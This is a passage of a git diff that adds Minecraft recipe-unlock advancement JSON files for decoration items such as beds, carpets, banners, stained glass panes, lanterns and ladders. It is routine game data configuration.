b/src/data/minecraft/advancements/recipes/decorations/green_bed_from_white_bed.json new file mode 100644 index 00000000..0e372471 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/green_bed_from_white_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:green_bed_from_white_bed" + ] + }, + "criteria": { + "has_bed": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_bed" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:green_bed_from_white_bed" + } + } + }, + "requirements": [ + [ + "has_bed", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/green_carpet.json b/src/data/minecraft/advancements/recipes/decorations/green_carpet.json new file mode 100644 index 00000000..de3006cc --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/green_carpet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:green_carpet" + ] + }, + "criteria": { + "has_green_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:green_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:green_carpet" + } + } + }, + "requirements": [ + [ + "has_green_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/green_carpet_from_white_carpet.json b/src/data/minecraft/advancements/recipes/decorations/green_carpet_from_white_carpet.json new file mode 100644 index 00000000..95dbb10f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/green_carpet_from_white_carpet.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:green_carpet_from_white_carpet" + ] + }, + "criteria": { + "has_white_carpet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_carpet" + } + ] + } + }, + "has_green_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:green_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:green_carpet_from_white_carpet" + } + } + }, + "requirements": [ + [ + "has_white_carpet", + "has_green_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/green_glazed_terracotta.json b/src/data/minecraft/advancements/recipes/decorations/green_glazed_terracotta.json new file mode 100644 index 00000000..832eeaaa --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/green_glazed_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:green_glazed_terracotta" + ] + }, + "criteria": { + "has_green_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:green_terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:green_glazed_terracotta" + } + } + }, + "requirements": [ + [ + "has_green_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/green_stained_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/green_stained_glass_pane.json new file mode 100644 index 00000000..7b23de4e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/green_stained_glass_pane.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:green_stained_glass_pane" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:green_stained_glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:green_stained_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/green_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/green_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..003329b8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/green_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:green_stained_glass_pane_from_glass_pane" + ] + }, + "criteria": { + "has_glass_pane": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass_pane" + } + ] + } + }, + "has_green_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:green_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:green_stained_glass_pane_from_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass_pane", + "has_green_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/grindstone.json b/src/data/minecraft/advancements/recipes/decorations/grindstone.json new file mode 100644 index 00000000..6050dbad --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/grindstone.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:grindstone" + ] + }, + "criteria": { + "has_stone_slab": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone_slab" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:grindstone" + } + } + }, + "requirements": [ + [ + "has_stone_slab", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/honey_block.json b/src/data/minecraft/advancements/recipes/decorations/honey_block.json new file mode 100644 index 00000000..bb639eaa --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/honey_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:honey_block" + ] + }, + "criteria": { + "has_honey_bottle": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:honey_bottle" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:honey_block" + } + } + }, + "requirements": [ + [ + "has_honey_bottle", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/honeycomb_block.json b/src/data/minecraft/advancements/recipes/decorations/honeycomb_block.json new file mode 100644 index 00000000..195b79df --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/honeycomb_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:honeycomb_block" + ] + }, + "criteria": { + "has_honeycomb": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:honeycomb" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:honeycomb_block" + } + } + }, + "requirements": [ + [ + "has_honeycomb", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/iron_bars.json b/src/data/minecraft/advancements/recipes/decorations/iron_bars.json new file mode 100644 index 00000000..bc35772f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/iron_bars.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:iron_bars" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:iron_bars" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/item_frame.json b/src/data/minecraft/advancements/recipes/decorations/item_frame.json new file mode 100644 index 00000000..7c95f853 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/item_frame.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:item_frame" + ] + }, + "criteria": { + "has_leather": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:leather" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:item_frame" + } + } + }, + "requirements": [ + [ + "has_leather", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/jukebox.json b/src/data/minecraft/advancements/recipes/decorations/jukebox.json new file mode 100644 index 00000000..1658ab98 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/jukebox.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:jukebox" + ] + }, + "criteria": { + "has_diamond": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diamond" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:jukebox" + } + } + }, + "requirements": [ + [ + "has_diamond", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/jungle_fence.json b/src/data/minecraft/advancements/recipes/decorations/jungle_fence.json new file mode 100644 index 00000000..9381ad70 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/jungle_fence.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:jungle_fence" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:jungle_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:jungle_fence" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/jungle_sign.json b/src/data/minecraft/advancements/recipes/decorations/jungle_sign.json new file mode 100644 index 00000000..63267002 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/jungle_sign.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:jungle_sign" + ] + }, + "criteria": { + "has_jungle_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:jungle_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:jungle_sign" + } + } + }, + "requirements": [ + [ + "has_jungle_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/ladder.json b/src/data/minecraft/advancements/recipes/decorations/ladder.json new file mode 100644 index 00000000..dedddff6 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/ladder.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:ladder" + ] + }, + "criteria": { + "has_stick": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stick" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:ladder" + } + } + }, + "requirements": [ + [ + "has_stick", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/lantern.json b/src/data/minecraft/advancements/recipes/decorations/lantern.json new file mode 100644 index 00000000..d594e479 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/lantern.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lantern" + ] + }, + "criteria": { + "has_iron_nugget": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_nugget" + } + ] + } + }, + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lantern" + } + } + }, + "requirements": [ + [ + "has_iron_nugget", + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/light_blue_banner.json b/src/data/minecraft/advancements/recipes/decorations/light_blue_banner.json new file mode 100644 index 00000000..99207155 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/light_blue_banner.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_blue_banner" + ] + }, + "criteria": { + "has_light_blue_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:light_blue_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_blue_banner" + } + } + }, + "requirements": [ + [ + "has_light_blue_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/light_blue_bed.json b/src/data/minecraft/advancements/recipes/decorations/light_blue_bed.json new file mode 100644 index 00000000..d9de6a9a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/light_blue_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_blue_bed" + ] + }, + "criteria": { + "has_light_blue_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:light_blue_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_blue_bed" + } + } + }, + "requirements": [ + [ + "has_light_blue_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/light_blue_bed_from_white_bed.json b/src/data/minecraft/advancements/recipes/decorations/light_blue_bed_from_white_bed.json new file mode 100644 index 00000000..3077c955 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/light_blue_bed_from_white_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_blue_bed_from_white_bed" + ] + }, + "criteria": { + "has_bed": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_bed" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_blue_bed_from_white_bed" + } + } + }, + "requirements": [ + [ + "has_bed", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/light_blue_carpet.json b/src/data/minecraft/advancements/recipes/decorations/light_blue_carpet.json new file mode 100644 index 00000000..8b03a25f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/light_blue_carpet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_blue_carpet" + ] + }, + "criteria": { + "has_light_blue_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:light_blue_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_blue_carpet" + } + } + }, + "requirements": [ + [ + "has_light_blue_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/light_blue_carpet_from_white_carpet.json b/src/data/minecraft/advancements/recipes/decorations/light_blue_carpet_from_white_carpet.json new file mode 100644 index 00000000..900be240 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/light_blue_carpet_from_white_carpet.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_blue_carpet_from_white_carpet" + ] + }, + "criteria": { + "has_white_carpet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_carpet" + } + ] + } + }, + "has_light_blue_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:light_blue_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_blue_carpet_from_white_carpet" + } + } + }, + "requirements": [ + [ + "has_white_carpet", + "has_light_blue_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/light_blue_glazed_terracotta.json b/src/data/minecraft/advancements/recipes/decorations/light_blue_glazed_terracotta.json new file mode 100644 index 00000000..82ba5d85 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/light_blue_glazed_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_blue_glazed_terracotta" + ] + }, + "criteria": { + "has_light_blue_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:light_blue_terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_blue_glazed_terracotta" + } + } + }, + "requirements": [ + [ + "has_light_blue_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/light_blue_stained_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/light_blue_stained_glass_pane.json new file mode 100644 index 00000000..4ce0b928 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/light_blue_stained_glass_pane.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_blue_stained_glass_pane" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:light_blue_stained_glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_blue_stained_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/light_blue_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/light_blue_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..61250e52 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/light_blue_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_blue_stained_glass_pane_from_glass_pane" + ] + }, + "criteria": { + "has_glass_pane": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass_pane" + } + ] + } + }, + "has_light_blue_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:light_blue_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_blue_stained_glass_pane_from_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass_pane", + "has_light_blue_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/light_gray_banner.json b/src/data/minecraft/advancements/recipes/decorations/light_gray_banner.json new file mode 100644 index 00000000..7e099e9c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/light_gray_banner.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_gray_banner" + ] + }, + "criteria": { + "has_light_gray_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:light_gray_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_gray_banner" + } + } + }, + "requirements": [ + [ + "has_light_gray_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/light_gray_bed.json b/src/data/minecraft/advancements/recipes/decorations/light_gray_bed.json new file mode 100644 index 00000000..4a2de2d1 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/light_gray_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_gray_bed" + ] + }, + "criteria": { + "has_light_gray_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:light_gray_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_gray_bed" + } + } + }, + "requirements": [ + [ + "has_light_gray_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/light_gray_bed_from_white_bed.json b/src/data/minecraft/advancements/recipes/decorations/light_gray_bed_from_white_bed.json new file mode 100644 index 00000000..3a6cc4eb --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/light_gray_bed_from_white_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_gray_bed_from_white_bed" + ] + }, + "criteria": { + "has_bed": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_bed" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_gray_bed_from_white_bed" + } + } + }, + "requirements": [ + [ + "has_bed", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/light_gray_carpet.json b/src/data/minecraft/advancements/recipes/decorations/light_gray_carpet.json new file mode 100644 index 00000000..cf8e8a0c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/light_gray_carpet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_gray_carpet" + ] + }, + "criteria": { + "has_light_gray_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:light_gray_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_gray_carpet" + } + } + }, + "requirements": [ + [ + "has_light_gray_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/light_gray_carpet_from_white_carpet.json b/src/data/minecraft/advancements/recipes/decorations/light_gray_carpet_from_white_carpet.json new file mode 100644 index 00000000..8ecbd376 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/light_gray_carpet_from_white_carpet.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_gray_carpet_from_white_carpet" + ] + }, + "criteria": { + "has_white_carpet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_carpet" + } + ] + } + }, + "has_light_gray_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:light_gray_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_gray_carpet_from_white_carpet" + } + } + }, + "requirements": [ + [ + "has_white_carpet", + "has_light_gray_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/light_gray_glazed_terracotta.json b/src/data/minecraft/advancements/recipes/decorations/light_gray_glazed_terracotta.json new file mode 100644 index 00000000..617267eb --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/light_gray_glazed_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_gray_glazed_terracotta" + ] + }, + "criteria": { + "has_light_gray_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:light_gray_terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_gray_glazed_terracotta" + } + } + }, + "requirements": [ + [ + "has_light_gray_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/light_gray_stained_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/light_gray_stained_glass_pane.json new file mode 100644 index 00000000..6cf0bcd7 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/light_gray_stained_glass_pane.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_gray_stained_glass_pane" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:light_gray_stained_glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_gray_stained_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/light_gray_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/light_gray_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..cd705a33 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/light_gray_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_gray_stained_glass_pane_from_glass_pane" + ] + }, + "criteria": { + "has_glass_pane": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass_pane" + } + ] + } + }, + "has_light_gray_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:light_gray_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_gray_stained_glass_pane_from_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass_pane", + "has_light_gray_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/lime_banner.json b/src/data/minecraft/advancements/recipes/decorations/lime_banner.json new file mode 100644 index 00000000..f70a9a51 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/lime_banner.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lime_banner" + ] + }, + "criteria": { + "has_lime_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:lime_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lime_banner" + } + } + }, + "requirements": [ + [ + "has_lime_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/lime_bed.json b/src/data/minecraft/advancements/recipes/decorations/lime_bed.json new file mode 100644 index 00000000..5aa588ce --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/lime_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lime_bed" + ] + }, + "criteria": { + "has_lime_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:lime_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lime_bed" + } + } + }, + "requirements": [ + [ + "has_lime_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/lime_bed_from_white_bed.json b/src/data/minecraft/advancements/recipes/decorations/lime_bed_from_white_bed.json new file mode 100644 index 00000000..25c77410 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/lime_bed_from_white_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lime_bed_from_white_bed" + ] + }, + "criteria": { + "has_bed": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_bed" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lime_bed_from_white_bed" + } + } + }, + "requirements": [ + [ + "has_bed", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/lime_carpet.json b/src/data/minecraft/advancements/recipes/decorations/lime_carpet.json new file mode 100644 index 00000000..49241f45 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/lime_carpet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lime_carpet" + ] + }, + "criteria": { + "has_lime_wool": { + 